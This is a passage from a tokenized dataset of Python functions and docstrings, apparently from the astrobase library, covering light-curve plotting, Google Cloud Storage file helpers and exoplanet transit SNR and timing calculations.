ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL>if phasebin:<EOL><INDENT>plt.plot(binplotphase,<EOL>binplotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL><DEDENT>if overplotfit and isinstance(overplotfit, dict):<EOL><INDENT>fitmethod = overplotfit['<STR_LIT>']<EOL>fitredchisq = overplotfit['<STR_LIT>']<EOL>plotfitmags = overplotfit['<STR_LIT>']['<STR_LIT>']<EOL>plotfittimes = overplotfit['<STR_LIT>']['<STR_LIT>']<EOL>fitphasedlc = phase_magseries(plotfittimes,<EOL>plotfitmags,<EOL>varperiod,<EOL>plotvarepoch,<EOL>wrap=phasewrap,<EOL>sort=phasesort)<EOL>plotfitphase = fitphasedlc['<STR_LIT>']<EOL>plotfitmags = fitphasedlc['<STR_LIT>']<EOL>plotfitlabel = (r'<STR_LIT>' %<EOL>(fitmethod, fitredchisq))<EOL>plt.plot(plotfitphase, plotfitmags,'<STR_LIT>',<EOL>linewidth=<NUM_LIT:3>, rasterized=True,label=plotfitlabel)<EOL>plt.legend(loc='<STR_LIT>', frameon=False)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>plot_ylim = plt.ylim()<EOL>plt.ylim((plot_ylim[<NUM_LIT:1>], plot_ylim[<NUM_LIT:0>]))<EOL><DEDENT>if not plotxlim:<EOL><INDENT>plt.xlim((npmin(plotphase)-<NUM_LIT:0.1>,<EOL>npmax(plotphase)+<NUM_LIT:0.1>))<EOL><DEDENT>else:<EOL><INDENT>plt.xlim((plotxlim[<NUM_LIT:0>],plotxlim[<NUM_LIT:1>]))<EOL><DEDENT>ax = plt.gca()<EOL>if isinstance(xgridlines, (list, tuple)):<EOL><INDENT>ax.set_xticks(xgridlines, minor=False)<EOL><DEDENT>plt.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>plot_xlabel = '<STR_LIT>'<EOL>if magsarefluxes:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>plt.xlabel(plot_xlabel)<EOL>plt.ylabel(plot_ylabel)<EOL>plt.gca().get_yaxis().get_major_formatter().set_useOffset(False)<EOL>plt.gca().get_xaxis().get_major_formatter().set_useOffset(False)<EOL>plt.title(plottitle)<EOL>if (periodind == <NUM_LIT:0> or periodind == -<NUM_LIT:1>) and bestperiodhighlight:<EOL><INDENT>if MPLVERSION >= (<NUM_LIT:2>,<NUM_LIT:0>,<NUM_LIT:0>):<EOL><INDENT>plt.gca().set_facecolor(bestperiodhighlight)<EOL><DEDENT>else:<EOL><INDENT>plt.gca().set_axis_bgcolor(bestperiodhighlight)<EOL><DEDENT><DEDENT>if (plotxlim and isinstance(plotxlim, (list, tuple)) and<EOL>len(plotxlim) == <NUM_LIT:2> and xliminsetmode is True):<EOL><INDENT>axesylim = plt.gca().get_ylim()<EOL>if magsarefluxes:<EOL><INDENT>plt.gca().set_ylim(<EOL>axesylim[<NUM_LIT:0>],<EOL>axesylim[<NUM_LIT:1>] + <NUM_LIT:0.5>*npabs(axesylim[<NUM_LIT:1>]-axesylim[<NUM_LIT:0>])<EOL>)<EOL><DEDENT>else:<EOL><INDENT>plt.gca().set_ylim(<EOL>axesylim[<NUM_LIT:0>],<EOL>axesylim[<NUM_LIT:1>] - <NUM_LIT:0.5>*npabs(axesylim[<NUM_LIT:1>]-axesylim[<NUM_LIT:0>])<EOL>)<EOL><DEDENT>inset = inset_axes(plt.gca(), width=\"<STR_LIT>\", height=\"<STR_LIT>\", loc=<NUM_LIT:1>)<EOL>inset.plot(plotphase,<EOL>plotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL>if phasebin:<EOL><INDENT>inset.plot(binplotphase,<EOL>binplotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL><DEDENT>if phasewrap:<EOL><INDENT>inset.set_xlim(-<NUM_LIT>,<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>inset.set_xlim(-<NUM_LIT:0.1>,<NUM_LIT>)<EOL><DEDENT>if not magsarefluxes:<EOL><INDENT>inset_ylim = inset.get_ylim()<EOL>inset.set_ylim((inset_ylim[<NUM_LIT:1>], inset_ylim[<NUM_LIT:0>]))<EOL><DEDENT>inset.text(<NUM_LIT:0.5>,<NUM_LIT>,'<STR_LIT>',<EOL>ha='<STR_LIT>',va='<STR_LIT>',transform=inset.transAxes)<EOL>inset.set_xticks([])<EOL>inset.set_yticks([])<EOL><DEDENT>phasedseriespng = StrIO()<EOL>phasedseriesfig.savefig(phasedseriespng,<EOL>pad_inches=<NUM_LIT:0.0>, format='<STR_LIT>')<EOL>plt.close()<EOL>phasedseriespng.seek(<NUM_LIT:0>)<EOL>phasedseriesb64 = base64.b64encode(phasedseriespng.read())<EOL>phasedseriespng.close()<EOL>retdict = {<EOL>'<STR_LIT>':phasedseriesb64,<EOL>'<STR_LIT>':varperiod,<EOL>'<STR_LIT>':plotvarepoch,<EOL>'<STR_LIT>':plotphase,<EOL>'<STR_LIT>':plotmags,<EOL>'<STR_LIT>':binplotphase,<EOL>'<STR_LIT>':binplotmags,<EOL>'<STR_LIT>':phasewrap,<EOL>'<STR_LIT>':phasesort,<EOL>'<STR_LIT>':phasebin,<EOL>'<STR_LIT>':minbinelems,<EOL>'<STR_LIT>':plotxlim,<EOL>'<STR_LIT>':overplotfit,<EOL>}<EOL>if directreturn or checkplotdict is None:<EOL><INDENT>return retdict<EOL><DEDENT>else:<EOL><INDENT>if override_pfmethod:<EOL><INDENT>checkplotdict[override_pfmethod][periodind] = retdict<EOL><DEDENT>else:<EOL><INDENT>checkplotdict[lspmethod][periodind] = retdict<EOL><DEDENT>return checkplotdict<EOL><DEDENT>", "docstring": "This returns the phased magseries plot PNG as base64 plus info as a dict.\n\n    Parameters\n    ----------\n\n    checkplotdict : dict\n        This is an existing checkplotdict to update. If it's None or\n        `directreturn` = True, then the generated dict result for this magseries\n        plot will be returned directly.\n\n    lspmethod : str\n        lspmethod is a string indicating the type of period-finding algorithm\n        that produced the period. If this is not in\n        `astrobase.plotbase.METHODSHORTLABELS`, it will be used verbatim. In\n        most cases, this will come directly from the lspinfo dict produced by a\n        period-finder function.\n\n    periodind : int\n        This is the index of the current periodogram period being operated\n        on::\n\n            If == 0 -> best period and `bestperiodhighlight` is applied if not\n                       None\n            If > 0   -> some other peak of the periodogram\n            If == -1 -> special mode w/ no periodogram labels and enabled\n                        highlight\n\n    stimes,smags,serrs : np.array\n        The mag/flux time-series arrays along with associated errors. These\n        should all have been run through nan-stripping and sigma-clipping\n        beforehand.\n\n    varperiod : float or None\n        The period to use for this phased light curve plot tile.\n\n    varepoch : 'min' or float or list of lists or None\n        The epoch to use for this phased light curve plot tile. If this is a\n        float, will use the provided value directly. If this is 'min', will\n        automatically figure out the time-of-minimum of the phased light\n        curve. If this is None, will use the mimimum value of `stimes` as the\n        epoch of the phased light curve plot. If this is a list of lists, will\n        use the provided value of `lspmethodind` to look up the current\n        period-finder method and the provided value of `periodind` to look up\n        the epoch associated with that method and the current period. This is\n        mostly only useful when `twolspmode` is True.\n\n    phasewrap : bool\n        If this is True, the phased time-series will be wrapped around\n        phase 0.0.\n\n    phasesort : bool\n        If True, will sort the phased light curve in order of increasing phase.\n\n    phasebin: float\n        The bin size to use to group together measurements closer than this\n        amount in phase. This is in units of phase. If this is a float, a\n        phase-binned version of the phased light curve will be overplotted on\n        top of the regular phased light curve.\n\n    minbinelems : int\n        The minimum number of elements required per phase bin to include it in\n        the phased LC plot.\n\n    plotxlim : sequence of two floats or None\n        The x-range (min, max) of the phased light curve plot. If None, will be\n        determined automatically.\n\n    plotdpi : int\n        The resolution of the output plot PNGs in dots per inch.\n\n    bestperiodhighlight : str or None\n        If not None, this is a str with a matplotlib color specification to use\n        as the background color to highlight the phased light curve plot of the\n        'best' period and epoch combination. If None, no highlight will be\n        applied.\n\n    xgridlines : list of floats or None\n        If this is provided, must be a list of floats corresponding to the phase\n        values where to draw vertical dashed lines as a means of highlighting\n        these.\n\n    xliminsetmode : bool\n        If this is True, the generated phased light curve plot will use the\n        values of `plotxlim` as the main plot x-axis limits (i.e. zoomed-in if\n        `plotxlim` is a range smaller than the full phase range), and will show\n        the full phased light curve plot as an smaller inset. Useful for\n        planetary transit light curves.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    directreturn : bool\n        If this set to True, will return only the dict corresponding to the\n        phased LC plot for the input `periodind` and `lspmethod` and not return\n        this result embedded in a checkplotdict.\n\n    overplotfit : dict\n        If this is provided, it must be a dict of the form returned by one of\n        the astrobase.lcfit.fit_XXXXX_magseries functions. This can be used to\n        overplot a light curve model fit on top of the phased light curve plot\n        returned by this function. The `overplotfit` dict has the following\n        form, including at least the keys listed here::\n\n            {'fittype':str: name of fit method,\n            'fitchisq':float: the chi-squared value of the fit,\n            'fitredchisq':float: the reduced chi-squared value of the fit,\n            'fitinfo':{'fitmags':array: model mags or fluxes from fit function},\n            'magseries':{'times':array: times where the fitmags are evaluated}}\n\n        `fitmags` and `times` should all be of the same size. The input\n        `overplotfit` dict is copied over to the checkplotdict for each specific\n        phased LC plot to save all of this information for use later.\n\n    verbose : bool\n        If True, will indicate progress and warn about problems.\n\n    override_pfmethod : str or None\n        This is used to set a custom label for the periodogram method. Normally,\n        this is taken from the 'method' key in the input `lspinfo` dict, but if\n        you want to override the output method name, provide this as a string\n        here. This can be useful if you have multiple results you want to\n        incorporate into a checkplotdict from a single period-finder (e.g. if\n        you ran BLS over several period ranges separately).\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of the following form::\n\n            {lspmethod: {'plot': the phased LC plot as base64 str,\n                         'period': the period used for this phased LC,\n                         'epoch': the epoch used for this phased LC,\n                         'phase': phase value array,\n                         'phasedmags': mags/fluxes sorted in phase order,\n                         'binphase': array of binned phase values,\n                         'binphasedmags': mags/fluxes sorted in binphase order,\n                         'phasewrap': value of the input `phasewrap` kwarg,\n                         'phasesort': value of the input `phasesort` kwarg,\n                         'phasebin': value of the input `phasebin` kwarg,\n                         'minbinelems': value of the input `minbinelems` kwarg,\n                         'plotxlim': value of the input `plotxlim` kwarg,\n                         'lcfit': the provided `overplotfit` dict}}\n\n        The dict is in this form because we can use Python dicts' `update()`\n        method to update an existing checkplotdict. If `returndirect` is True,\n        only the inner dict is returned.", "id": "f14726:m4"}
{"signature": "def make_gce_instances():", "body": "", "docstring": "This makes new GCE worker nodes.\n\n    Use preemptible instances and startup/shutdown scripts to emulate AWS spot\n    fleet behavior and run stuff at cheaper prices.\n\n    TODO: finish this", "id": "f14728:m0"}
{"signature": "def delete_gce_instances():", "body": "", "docstring": "This deletes GCE worker nodes.\n\nTODO: finish this", "id": "f14728:m1"}
{"signature": "def gcs_get_file(bucketname,<EOL>filename,<EOL>local_file,<EOL>altexts=None,<EOL>client=None,<EOL>service_account_json=None,<EOL>raiseonfail=False):", "body": "if not client:<EOL><INDENT>if (service_account_json is not None and<EOL>os.path.exists(service_account_json)):<EOL><INDENT>client = storage.Client.from_service_account_json(<EOL>service_account_json<EOL>)<EOL><DEDENT>else:<EOL><INDENT>client = storage.Client()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>bucket = client.get_bucket(bucketname)<EOL>blob = bucket.get_blob(filename)<EOL>blob.download_to_filename(local_file)<EOL>return local_file<EOL><DEDENT>except Exception as e:<EOL><INDENT>for alt_extension in altexts:<EOL><INDENT>split_ext = os.path.splitext(filename)<EOL>check_file = split_ext[<NUM_LIT:0>] + alt_extension<EOL>try:<EOL><INDENT>bucket = client.get_bucket(bucket)<EOL>blob = bucket.get_blob(check_file)<EOL>blob.download_to_filename(<EOL>local_file.replace(split_ext[-<NUM_LIT:1>],<EOL>alt_extension)<EOL>)<EOL>return local_file.replace(split_ext[-<NUM_LIT:1>],<EOL>alt_extension)<EOL><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (bucket, filename))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This gets a single file from a Google Cloud Storage bucket.\n\n    Parameters\n    ----------\n\n    bucketname : str\n        The name of the GCS bucket to download the file from.\n\n    filename : str\n        The full name of the file to download, including all prefixes.\n\n    local_file : str\n        Path to where the downloaded file will be stored.\n\n    altexts : None or list of str\n        If not None, this is a list of alternate extensions to try for the file\n        other than the one provided in `filename`. For example, to get anything\n        that's an .sqlite where .sqlite.gz is expected, use altexts=[''] to\n        strip the .gz.\n\n    client : google.cloud.storage.Client instance\n        The instance of the Client to use to perform the download operation. If\n        this is None, a new Client will be used. If this is None and\n        `service_account_json` points to a downloaded JSON file with GCS\n        credentials, a new Client with the provided credentials will be used. If\n        this is not None, the existing Client instance will be used.\n\n    service_account_json : str\n        Path to a downloaded GCS credentials JSON file.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str\n        Path to the downloaded filename or None if the download was\n        unsuccessful.", "id": "f14728:m2"}
{"signature": "def gcs_get_url(url,<EOL>altexts=None,<EOL>client=None,<EOL>service_account_json=None,<EOL>raiseonfail=False):", "body": "bucket_item = url.replace('<STR_LIT>','<STR_LIT>')<EOL>bucket_item = bucket_item.split('<STR_LIT:/>')<EOL>bucket = bucket_item[<NUM_LIT:0>]<EOL>filekey = '<STR_LIT:/>'.join(bucket_item[<NUM_LIT:1>:])<EOL>return gcs_get_file(bucket,<EOL>filekey,<EOL>bucket_item[-<NUM_LIT:1>],<EOL>altexts=altexts,<EOL>client=client,<EOL>service_account_json=service_account_json,<EOL>raiseonfail=raiseonfail)<EOL>", "docstring": "This gets a single file from a Google Cloud Storage bucket.\n\n    This uses the gs:// URL instead of a bucket name and key.\n\n    Parameters\n    ----------\n\n    url : str\n        GCS URL to download. This should begin with 'gs://'.\n\n    altexts : None or list of str\n        If not None, this is a list of alternate extensions to try for the file\n        other than the one provided in `filename`. For example, to get anything\n        that's an .sqlite where .sqlite.gz is expected, use altexts=[''] to\n        strip the .gz.\n\n    client : google.cloud.storage.Client instance\n        The instance of the Client to use to perform the download operation. If\n        this is None, a new Client will be used. If this is None and\n        `service_account_json` points to a downloaded JSON file with GCS\n        credentials, a new Client with the provided credentials will be used. If\n        this is not None, the existing Client instance will be used.\n\n    service_account_json : str\n        Path to a downloaded GCS credentials JSON file.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str\n        Path to the downloaded filename or None if the download was\n        unsuccessful.", "id": "f14728:m3"}
{"signature": "def gcs_put_file(local_file,<EOL>bucketname,<EOL>service_account_json=None,<EOL>client=None,<EOL>raiseonfail=False):", "body": "if not client:<EOL><INDENT>if (service_account_json is not None and<EOL>os.path.exists(service_account_json)):<EOL><INDENT>client = storage.Client.from_service_account_json(<EOL>service_account_json<EOL>)<EOL><DEDENT>else:<EOL><INDENT>client = storage.Client()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>bucket = client.get_bucket(bucketname)<EOL>remote_blob = bucket.blob(local_file)<EOL>remote_blob.upload_from_filename(local_file)<EOL>return '<STR_LIT>' % (bucketname, local_file.lstrip('<STR_LIT:/>'))<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (local_file,<EOL>bucket))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This puts a single file into a Google Cloud Storage bucket.\n\n    Parameters\n    ----------\n\n    local_file : str\n        Path to the file to upload to GCS.\n\n    bucket : str\n        The GCS bucket to upload the file to.\n\n    service_account_json : str\n        Path to a downloaded GCS credentials JSON file.\n\n    client : google.cloud.storage.Client instance\n        The instance of the Client to use to perform the download operation. If\n        this is None, a new Client will be used. If this is None and\n        `service_account_json` points to a downloaded JSON file with GCS\n        credentials, a new Client with the provided credentials will be used. If\n        this is not None, the existing Client instance will be used.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str or None\n        If the file upload is successful, returns the gs:// URL of the uploaded\n        file. If it failed, will return None.", "id": "f14728:m4"}
{"signature": "def gps_create_topic():", "body": "", "docstring": "This creates a Google Pub/Sub topic.\n\nTODO: finish this", "id": "f14728:m5"}
{"signature": "def gps_delete_topic():", "body": "", "docstring": "This deletes a Google Pub/Sub topic.\n\nTODO: finish this", "id": "f14728:m6"}
{"signature": "def gps_topic_pull():", "body": "", "docstring": "This synchronously pulls a single message from a pubsub topic.\n\nTODO: finish this", "id": "f14728:m7"}
{"signature": "def gps_topic_publish():", "body": "", "docstring": "This publishes a JSON message to a topic.\n\nTODO: finish this", "id": "f14728:m8"}
{"signature": "def transit_duration_range(period,<EOL>min_radius_hint,<EOL>max_radius_hint):", "body": "return (<EOL><NUM_LIT> * (min_radius_hint**(<NUM_LIT>/<NUM_LIT>)) * (period**(-<NUM_LIT>/<NUM_LIT>)),<EOL><NUM_LIT> * (max_radius_hint**(<NUM_LIT>/<NUM_LIT>)) * (period**(-<NUM_LIT>/<NUM_LIT>))<EOL>)<EOL>", "docstring": "This figures out the minimum and max transit duration (q) given a period\n    and min/max stellar radius hints.\n\n    One can get stellar radii from various places:\n\n    - GAIA distances and luminosities\n    - the TESS input catalog\n    - isochrone fits\n\n    The equation used is::\n\n        q ~ 0.076 x R**(2/3) x P**(-2/3)\n\n        P = period in days\n        R = stellar radius in solar radii\n\n    Parameters\n    ----------\n\n    period : float\n        The orbital period of the transiting planet.\n\n    min_radius_hint,max_radius_hint : float\n        The minimum and maximum radii of the star the planet is orbiting around.\n\n    Returns\n    -------\n\n    (min_transit_duration, max_transit_duration) : tuple\n        The returned tuple contains the minimum and maximum transit durations\n        allowed for the orbital geometry of this planetary system. These can be\n        used with the BLS period-search functions in\n        :py:mod:`astrobase.periodbase.kbls` or\n        :py:mod:`astrobase.periodbase.abls` to refine the period-search to only\n        physically possible transit durations.", "id": "f14730:m0"}
{"signature": "def get_snr_of_dip(times,<EOL>mags,<EOL>modeltimes,<EOL>modelmags,<EOL>atol_normalization=<NUM_LIT>,<EOL>indsforrms=None,<EOL>magsarefluxes=False,<EOL>verbose=True,<EOL>transitdepth=None,<EOL>npoints_in_transit=None):", "body": "if magsarefluxes:<EOL><INDENT>if not np.isclose(np.nanmedian(modelmags), <NUM_LIT:1>, atol=atol_normalization):<EOL><INDENT>raise AssertionError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if not transitdepth:<EOL><INDENT>transitdepth = np.abs(np.max(modelmags) - np.min(modelmags))<EOL><DEDENT>if not len(mags) == len(modelmags):<EOL><INDENT>from scipy.interpolate import interp1d<EOL>fn = interp1d(modeltimes, modelmags, kind='<STR_LIT>', bounds_error=True,<EOL>fill_value=np.nan)<EOL>modelmags = fn(times)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT><DEDENT>subtractedmags = mags - modelmags<EOL>if isinstance(indsforrms, np.ndarray):<EOL><INDENT>subtractedrms = np.std(subtractedmags[indsforrms])<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>subtractedrms = np.std(subtractedmags)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT><DEDENT>def _get_npoints_in_transit(modelmags):<EOL><INDENT>if np.nanmedian(modelmags) == <NUM_LIT:1>:<EOL><INDENT>return len(modelmags[(modelmags != <NUM_LIT:1>)])<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT><DEDENT>if not npoints_in_transit:<EOL><INDENT>npoints_in_transit = _get_npoints_in_transit(modelmags)<EOL><DEDENT>snr = np.sqrt(npoints_in_transit) * transitdepth/subtractedrms<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'.format(npoints_in_transit) +<EOL>'<STR_LIT>'.format(transitdepth) +<EOL>'<STR_LIT>'.format(subtractedrms) +<EOL>'<STR_LIT>'.format(snr))<EOL><DEDENT>return snr, transitdepth, subtractedrms<EOL>", "docstring": "Calculate the total SNR of a transit assuming gaussian uncertainties.\n\n    `modelmags` gets interpolated onto the cadence of `mags`. The noise is\n    calculated as the 1-sigma std deviation of the residual (see below).\n\n    Following Carter et al. 2009::\n\n        Q = sqrt( \u0393 T ) * \u03b4 / \u03c3\n\n    for Q the total SNR of the transit in the r->0 limit, where::\n\n        r = Rp/Rstar,\n        T = transit duration,\n        \u03b4 = transit depth,\n        \u03c3 = RMS of the lightcurve in transit.\n        \u0393 = sampling rate\n\n    Thus \u0393 * T is roughly the number of points obtained during transit.\n    (This doesn't correctly account for the SNR during ingress/egress, but this\n    is a second-order correction).\n\n    Note this is the same total SNR as described by e.g., Kovacs et al. 2002,\n    their Equation 11.\n\n    NOTE: this only works with fluxes at the moment.\n\n    Parameters\n    ----------\n\n    times,mags : np.array\n        The input flux time-series to process.\n\n    modeltimes,modelmags : np.array\n        A transiting planet model, either from BLS, a trapezoid model, or a\n        Mandel-Agol model.\n\n    atol_normalization : float\n        The absolute tolerance to which the median of the passed model fluxes\n        must be equal to 1.\n\n    indsforrms : np.array\n        A array of bools of `len(mags)` used to select points for the RMS\n        measurement. If not passed, the RMS of the entire passed timeseries is\n        used as an approximation. Genearlly, it's best to use out of transit\n        points, so the RMS measurement is not model-dependent.\n\n    magsarefluxes : bool\n        Currently forced to be True because this function only works with\n        fluxes.\n\n    verbose : bool\n        If True, indicates progress and warns about problems.\n\n    transitdepth : float or None\n        If the transit depth is known, pass it in here. Otherwise, it is\n        calculated assuming OOT flux is 1.\n\n    npoints_in_transits : int or None\n        If the number of points in transit is known, pass it in here. Otherwise,\n        the function will guess at this value.\n\n    Returns\n    -------\n\n    (snr, transit_depth, noise) : tuple\n        The returned tuple contains the calculated SNR, transit depth, and noise\n        of the residual lightcurve calculated using the relation described\n        above.", "id": "f14730:m1"}
{"signature": "def estimate_achievable_tmid_precision(snr, t_ingress_min=<NUM_LIT:10>,<EOL>t_duration_hr=<NUM_LIT>):", "body": "t_ingress = t_ingress_min*u.minute<EOL>t_duration = t_duration_hr*u.hour<EOL>theta = t_ingress/t_duration<EOL>sigma_tc = (<NUM_LIT:1>/snr * t_duration * np.sqrt(theta/<NUM_LIT:2>))<EOL>LOGINFO('<STR_LIT>'.format(t_ingress))<EOL>LOGINFO('<STR_LIT>'.format(t_duration))<EOL>LOGINFO('<STR_LIT>'.format(snr) +<EOL>'<STR_LIT>'.format(<EOL>sigma_tc.to(u.minute), sigma_tc.to(u.hour), sigma_tc.to(u.day)))<EOL>return sigma_tc.to(u.day).value<EOL>", "docstring": "Using Carter et al. 2009's estimate, calculate the theoretical optimal\n    precision on mid-transit time measurement possible given a transit of a\n    particular SNR.\n\n    The relation used is::\n\n        sigma_tc = Q^{-1} * T * sqrt(\u03b8/2)\n\n        Q = SNR of the transit.\n        T = transit duration, which is 2.14 hours from discovery paper.\n        \u03b8 = \u03c4/T = ratio of ingress to total duration\n                ~= (few minutes [guess]) / 2.14 hours\n\n    Parameters\n    ----------\n\n    snr : float\n        The measured signal-to-noise of the transit, e,g. from\n        :py:func:`astrobase.periodbase.kbls.bls_stats_singleperiod` or from\n        running the `.compute_stats()` method on an Astropy BoxLeastSquares\n        object.\n\n    t_ingress_min : float\n        The ingress duration in minutes. This is t_I to t_II in Winn (2010)\n        nomenclature.\n\n    t_duration_hr : float\n        The transit duration in hours. This is t_I to t_IV in Winn (2010)\n        nomenclature.\n\n    Returns\n    -------\n\n    float\n        Returns the precision achievable for transit-center time as calculated\n        from the relation above. This is in days.", "id": "f14730:m2"}
{"signature": "def get_transit_times(<EOL>blsd,<EOL>time,<EOL>extra_maskfrac,<EOL>trapd=None,<EOL>nperiodint=<NUM_LIT:1000><EOL>):", "body": "if trapd:<EOL><INDENT>period = trapd['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>t0 = trapd['<STR_LIT>']['<STR_LIT>']<EOL>transitduration_phase = trapd['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:3>]<EOL>tdur = period * transitduration_phase<EOL><DEDENT>else:<EOL><INDENT>period = blsd['<STR_LIT>']<EOL>t0 = blsd['<STR_LIT>']<EOL>tdur = (<EOL>period *<EOL>(blsd['<STR_LIT>']-blsd['<STR_LIT>'])/blsd['<STR_LIT>']<EOL>)<EOL>if not blsd['<STR_LIT>'] > blsd['<STR_LIT>']:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>tmids = [t0 + ix*period for ix in range(-nperiodint,nperiodint)]<EOL>sel = (tmids > np.nanmin(time)) & (tmids < np.nanmax(time))<EOL>tmids_obsd = np.array(tmids)[sel]<EOL>t_Is = tmids_obsd - tdur/<NUM_LIT:2><EOL>t_IVs = tmids_obsd + tdur/<NUM_LIT:2><EOL>t_starts = t_Is - extra_maskfrac * tdur<EOL>t_ends = t_IVs + extra_maskfrac * tdur<EOL>return tmids_obsd, t_starts, t_ends<EOL>", "docstring": "Given a BLS period, epoch, and transit ingress/egress points (usually\n    from :py:func:`astrobase.periodbase.kbls.bls_stats_singleperiod`), return\n    the times within transit durations + `extra_maskfrac` of each transit.\n\n    Optionally, can use the (more accurate) trapezoidal fit period and epoch, if\n    it's passed.  Useful for inspecting individual transits, and masking them\n    out if desired.\n\n    Parameters\n    ----------\n\n    blsd : dict\n        This is the dict returned by\n        :py:func:`astrobase.periodbase.kbls.bls_stats_singleperiod`.\n\n    time : np.array\n        The times from the time-series of transit observations used to calculate\n        the initial period.\n\n    extra_maskfrac : float\n        This is the separation from in-transit points you desire, in units of\n        the transit duration. `extra_maskfrac = 0` if you just want points\n        inside transit (see below).\n\n    trapd : dict\n        This is a dict returned by\n        :py:func:`astrobase.lcfit.transits.traptransit_fit_magseries` containing\n        the trapezoid transit model.\n\n    nperiodint : int\n        This indicates how many periods backwards/forwards to try and identify\n        transits from the epochs reported in `blsd` or `trapd`.\n\n    Returns\n    -------\n\n    (tmids_obsd, t_starts, t_ends) : tuple of np.array\n        The returned items are::\n\n            tmids_obsd (np.ndarray): best guess of transit midtimes in\n            lightcurve. Has length number of transits in lightcurve.\n\n            t_starts (np.ndarray): t_Is - extra_maskfrac*tdur, for t_Is transit\n            first contact point.\n\n            t_ends (np.ndarray): t_Is + extra_maskfrac*tdur, for t_Is transit\n            first contact point.", "id": "f14730:m3"}
{"signature": "def given_lc_get_transit_tmids_tstarts_tends(<EOL>time,<EOL>flux,<EOL>err_flux,<EOL>blsfit_savpath=None,<EOL>trapfit_savpath=None,<EOL>magsarefluxes=True,<EOL>nworkers=<NUM_LIT:1>,<EOL>sigclip=None,<EOL>extra_maskfrac=<NUM_LIT><EOL>):", "body": "<EOL>endp = <NUM_LIT>*(np.nanmax(time) - np.nanmin(time))/<NUM_LIT:2><EOL>blsdict = kbls.bls_parallel_pfind(time, flux, err_flux,<EOL>magsarefluxes=magsarefluxes, startp=<NUM_LIT:0.1>,<EOL>endp=endp, maxtransitduration=<NUM_LIT>,<EOL>nworkers=nworkers, sigclip=sigclip)<EOL>blsd = kbls.bls_stats_singleperiod(time, flux, err_flux,<EOL>blsdict['<STR_LIT>'],<EOL>magsarefluxes=True, sigclip=sigclip,<EOL>perioddeltapercent=<NUM_LIT:5>)<EOL>if blsfit_savpath:<EOL><INDENT>make_fit_plot(blsd['<STR_LIT>'], blsd['<STR_LIT>'], None,<EOL>blsd['<STR_LIT>'], blsd['<STR_LIT>'], blsd['<STR_LIT>'],<EOL>blsd['<STR_LIT>'], blsfit_savpath,<EOL>magsarefluxes=magsarefluxes)<EOL><DEDENT>ingduration_guess = blsd['<STR_LIT>'] * <NUM_LIT>  <EOL>transitparams = [<EOL>blsd['<STR_LIT>'], blsd['<STR_LIT>'], blsd['<STR_LIT>'],<EOL>blsd['<STR_LIT>'], ingduration_guess<EOL>]<EOL>if trapfit_savpath:<EOL><INDENT>trapd = traptransit_fit_magseries(time, flux, err_flux,<EOL>transitparams,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip,<EOL>plotfit=trapfit_savpath)<EOL><DEDENT>tmids, t_starts, t_ends = get_transit_times(blsd,<EOL>time,<EOL>extra_maskfrac,<EOL>trapd=trapd)<EOL>return tmids, t_starts, t_ends<EOL>", "docstring": "Gets the transit start, middle, and end times for transits in a given\n    time-series of observations.\n\n    Parameters\n    ----------\n\n    time,flux,err_flux : np.array\n        The input flux time-series measurements and their associated measurement\n        errors\n\n    blsfit_savpath : str or None\n        If provided as a str, indicates the path of the fit plot to make for a\n        simple BLS model fit to the transit using the obtained period and epoch.\n\n    trapfit_savpath : str or None\n        If 